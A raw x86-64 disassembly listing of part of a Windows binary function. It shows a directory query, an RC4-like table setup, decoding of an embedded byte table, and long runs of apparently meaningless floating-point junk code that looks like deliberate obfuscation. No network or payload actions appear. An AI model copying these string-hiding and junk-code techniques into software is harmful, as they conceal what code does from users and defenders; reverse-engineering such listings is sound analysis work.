call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x1400ffa8a
lea rcx, [rsp + 0x100]
lea rdx, [rsp + 0xbd0]
mov r14, rbx
call rbx
mov ecx, eax
call fcn.1401063a0
test eax, eax
je 0x1400ffa8a
lea rcx, [rsp + 0x3d0]
mov r8d, 0x800
xor edx, edx
call fcn.1404a3cc0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x160], 0
movsd xmm1, qword [rsp + 0x160]
movsd xmm0, qword [0x1404d9200]
ucomisd xmm0, xmm1
jbe 0x1400eafe0
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [str._np_R]
movapd xmm2, xmmword [0x1404d9220]
movsd xmm3, qword [0x1404d9230]
movsd xmm4, qword [0x1404d9238]
movsd xmm5, qword [0x1404d78f0]
jmp 0x1400eaf29
movsd xmm6, qword [rsp + 0x160]
addsd xmm6, xmm5
movsd qword [rsp + 0x160], xmm6
movsd xmm6, qword [rsp + 0x160]
ucomisd xmm0, xmm6
jbe 0x1400eafe0
movsd xmm6, qword [rsp + 0x160]
movsd xmm7, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x160]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x160]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm6, xmm3
jbe 0x1400eaf00
movsd xmm6, qword [rsp + 0x160]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
jmp 0x1400eaf00
mov rdi, qword [rsp + 0xe90]
movsd xmm0, qword [rsp + 0x190]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400eb00a
call fcn.14049ec53
call fcn.14049ec2b
jmp 0x1400ed56b
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x360], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x390], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x3a0], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.14049ec53]
lea r10, [0x1401042a0]
xor esi, esi
xor r11d, r11d
jmp 0x1400eb129
dec r8
je 0x1400eb275
mov edx, 1
cmp r8, 2
jb 0x1400eb149
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400eb140
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400eb160
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
jmp 0x1400eb1f0
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400eb1f0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400eb1f0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400eb1f0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0x2b0]
inc r11d
lea esi, [rax + 0x14]
cmp r11d, 0x14
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400eb230
mov ebx, eax
cmp r8, rbx
jb 0x1400eb150
jmp 0x1400eb237
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400eb120
movzx edx, byte [rsp + r8 + 0x2b0]
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dl
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
xor byte [rsp + r8 + 0x2b0], dl
jmp 0x1400eb120
movzx eax, byte [rsp + 0x2b1]
movzx r8d, byte [rsp + 0x2b3]
movzx edx, byte [rsp + 0x2b5]
movzx r10d, byte [rsp + 0x2b7]
movzx ecx, sil
movzx r11d, byte [rsp + rcx + 0x2b0]
movzx r9d, byte [fcn.14049ec2b]
movzx ecx, byte [0x14049ec2c]
add cl, 0x1c
mov dword [rsp + 0x140], 0x468f8000
mov dword [rsp + 0x280], 0x46659c00
mov dword [rsp + 0x230], 0x462c3800
mov dword [rsp + 0x1f0], 0x45e5a800
mov dword [rsp + 0x1d0], 0x4565c000
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm0, xmm1
jbe 0x1400eb43e
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
xor r9d, r9d
jmp 0x1400eb4dd
shl r9b, 4
add r9b, 0x80
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movzx esi, byte [rsp + r11 + 0x2b0]
lea edi, [rax + 1]
add r8b, byte [rsp + rax + 0x2b0]
movzx ebx, r8b
movzx ebp, byte [rsp + rbx + 0x2b0]
mov byte [rsp + r11 + 0x2b0], bpl
movzx ebp, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], bpl
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r10 + 0x2b0], bpl
mov byte [rsp + rdi + 0x2b0], sil
movzx ebx, byte [rsp + rbx + 0x2b0]
add bl, sil
movzx edi, bl
movzx r11d, byte [rsp + r11 + 0x2b0]
add r11b, byte [rsp + r10 + 0x2b0]
add dl, byte [rsp + rsi + 0x2b0]
movzx r10d, dl
add r11b, byte [rsp + r10 + 0x2b0]
movzx r10d, r11b
movzx r14d, byte [rsp + rdi + 0x2b0]
movzx r10d, byte [rsp + r10 + 0x2b0]
xor r14b, byte [rsp + r10 + 0x2b0]
or r9b, cl
xor r14b, r9b
xor ecx, ecx
lea r10, [fcn.14049ec2b]
nop word cs:[rax + rax]
add r8b, sil
movzx r11d, r9b
movzx r9d, byte [r10 + rcx*2 + 2]
movzx ebx, byte [r10 + rcx*2 + 3]
add bl, 0x1c
shl r9b, 4
add r9b, 0x80
or r9b, bl
movzx esi, byte [rsp + r11 + 0x2b0]
lea edi, [rax + rcx]
add edi, 2
movzx ebx, r8b
movzx ebp, byte [rsp + rbx + 0x2b0]
mov byte [rsp + r11 + 0x2b0], bpl
movzx r14d, r14b
movzx ebp, byte [rsp + r14 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], bpl
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r14 + 0x2b0], bpl
mov byte [rsp + rdi + 0x2b0], sil
add dl, byte [rsp + rsi + 0x2b0]
movzx ebx, byte [rsp + rbx + 0x2b0]
add bl, sil
movzx edi, bl
movzx r11d, byte [rsp + r11 + 0x2b0]
add r11b, byte [rsp + r14 + 0x2b0]
movzx r14d, byte [rsp + rdi + 0x2b0]
movzx edi, dl
add r11b, byte [rsp + rdi + 0x2b0]
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x2b0]
xor r14b, byte [rsp + r11 + 0x2b0]
xor r14b, r9b
mov byte [rsp + rcx + 0x3b0], r14b
inc rcx
cmp rcx, 7
jne 0x1400eb5a0
movzx r11d, byte [0x14049ec3b]
movzx r9d, r9b
movzx edi, byte [rsp + r9 + 0x2b0]
lea rbx, [rax + rcx]
lea r15d, [rbx + 2]
add r8b, sil
movzx esi, r8b
movzx ebp, byte [rsp + rsi + 0x2b0]
mov byte [rsp + r9 + 0x2b0], bpl
movzx r14d, r14b
movzx ebp, byte [rsp + r14 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], bpl
movzx r15d, r15b
movzx ebp, byte [rsp + r15 + 0x2b0]
mov byte [rsp + r14 + 0x2b0], bpl
movzx ebp, byte [0x14049ec3c]
add bpl, 0x1c
shl r11b, 4
add r11b, 0x80
mov byte [rsp + r15 + 0x2b0], dil
add dl, byte [rsp + rdi + 0x2b0]
movzx esi, byte [rsp + rsi + 0x2b0]
add sil, dil
movzx esi, sil
movzx r9d, byte [rsp + r9 + 0x2b0]
add r9b, byte [rsp + r14 + 0x2b0]
movzx r14d, dl
add r9b, byte [rsp + r14 + 0x2b0]
movzx r9d, r9b
movzx r14d, byte [rsp + rsi + 0x2b0]
movzx r9d, byte [rsp + r9 + 0x2b0]
xor r14b, byte [rsp + r9 + 0x2b0]
or r11b, bpl
xor r14b, r11b
mov byte [rsp + 0x3b7], r14b
xor r9d, r9d
nop word [rax + rax]
add r8b, dil
movzx esi, r11b
movzx r11d, byte [r10 + r9*2 + 0x12]
movzx edi, byte [r10 + r9*2 + 0x13]
add dil, 0x1c
shl r11b, 4
add r11b, 0x80
or r11b, dil
movzx edi, byte [rsp + rsi + 0x2b0]
movzx r15d, r8b
movzx ebp, byte [rsp + r15 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], bpl
movzx r14d, r14b
movzx ebp, byte [rsp + r14 + 0x2b0]
mov byte [rsp + r15 + 0x2b0], bpl
lea r12d, [rbx + r9 + 3]
movzx r12d, r12b
movzx ebp, byte [rsp + r12 + 0x2b0]
mov byte [rsp + r14 + 0x2b0], bpl
mov byte [rsp + r12 + 0x2b0], dil
add dl, byte [rsp + rdi + 0x2b0]
movzx ebp, byte [rsp + r15 + 0x2b0]
add bpl, dil
movzx r15d, bpl
movzx esi, byte [rsp + rsi + 0x2b0]
add sil, byte [rsp + r14 + 0x2b0]
movzx r14d, byte [rsp + r15 + 0x2b0]
movzx r15d, dl
add sil, byte [rsp + r15 + 0x2b0]
movzx esi, sil
movzx esi, byte [rsp + rsi + 0x2b0]
xor r14b, byte [rsp + rsi + 0x2b0]
xor r14b, r11b
mov byte [rsp + r9 + 0x3b8], r14b
inc r9
cmp r9, 8
jne 0x1400eb760
movzx esi, byte [0x14049ec4d]
movzx r10d, r11b
movzx r11d, byte [rsp + r10 + 0x2b0]
add r8b, dil
movzx ebx, r8b
movzx edi, byte [rsp + rbx + 0x2b0]
mov byte [rsp + r10 + 0x2b0], dil
movzx r14d, r14b
movzx edi, byte [rsp + r14 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], dil
lea edi, [rax + rcx]
lea edi, [r9 + rdi + 3]
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r14 + 0x2b0], bpl
movzx ebp, byte [0x14049ec4e]
add ebp, 0xffffff1c
shl esi, 4
add esi, 0xfffff580
mov byte [rsp + rdi + 0x2b0], r11b
add dl, byte [rsp + r11 + 0x2b0]
or esi, ebp
movzx ebx, byte [rsp + rbx + 0x2b0]
add bl, r11b
movzx r11d, bl
movzx r10d, byte [rsp + r10 + 0x2b0]
add r10b, byte [rsp + r14 + 0x2b0]
movzx ebx, dl
add r10b, byte [rsp + rbx + 0x2b0]
movzx r10d, r10b
movzx r10d, byte [rsp + r10 + 0x2b0]
movzx r12d, byte [rsp + r11 + 0x2b0]
xor r12b, sil
xor r12b, byte [rsp + r10 + 0x2b0]
mov byte [rsp + 0x3c0], r12b
movzx r10d, byte [0x14049ec4f]
movzx r11d, byte [0x14049ec50]
add r11d, 0xffffff1c
mov dword [rsp + 0x140], 0x46ae5200
mov dword [rsp + 0x280], 0x46956c00
mov dword [rsp + 0x230], 0x46790c00
mov dword [rsp + 0x1f0], 0x46474000
mov dword [rsp + 0x1d0], 0x46157400
mov dword [rsp + 0x250], 0x45c75000
mov dword [rsp + 0x210], 0x45477000
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x250]
ucomiss xmm0, xmm1
jbe 0x1400ebb3e
shl r10d, 4
add r10d, 0xfffff580
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
or r10d, r11d
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
jmp 0x1400ebc0a
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
mov r10d, esi
movzx esi, sil
movzx ebx, byte [rsp + rsi + 0x2b0]
add r8b, byte [rsp + rdi + 0x2b0]
movzx edi, bl
mov dword [rsp + 0x140], 0x46880400
mov dword [rsp + 0x280], 0x4662b400
mov dword [rsp + 0x230], 0x46356000
mov dword [rsp + 0x1f0], 0x46080c00
mov dword [rsp + 0x1d0], 0x45b57000
mov dword [rsp + 0x250], 0x45359000
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
movzx r15d, r8b
jbe 0x1400ebe00
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movzx ebp, byte [rsp + r15 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], bpl
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
jmp 0x1400ec0ec
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
jbe 0x1400ec032
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
jmp 0x1400ec0ec
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
mov dword [rsp + 0x140], 0x46fffc00
mov dword [rsp + 0x280], 0x46d55200
mov dword [rsp + 0x230], 0x46aaa800
mov dword [rsp + 0x1f0], 0x467ffc00
mov dword [rsp + 0x1d0], 0x462aa800
mov dword [rsp + 0x250], 0x45aaa800
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm1, xmm0
movzx r13d, r12b
jbe 0x1400ec2c3
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movzx ebp, byte [rsp + r13 + 0x2b0]
mov byte [rsp + r15 + 0x2b0], bpl
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
jmp 0x1400ec5ab
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
jbe 0x1400ec505
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
jmp 0x1400ec5ab
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
lea r14d, [rax + rcx]
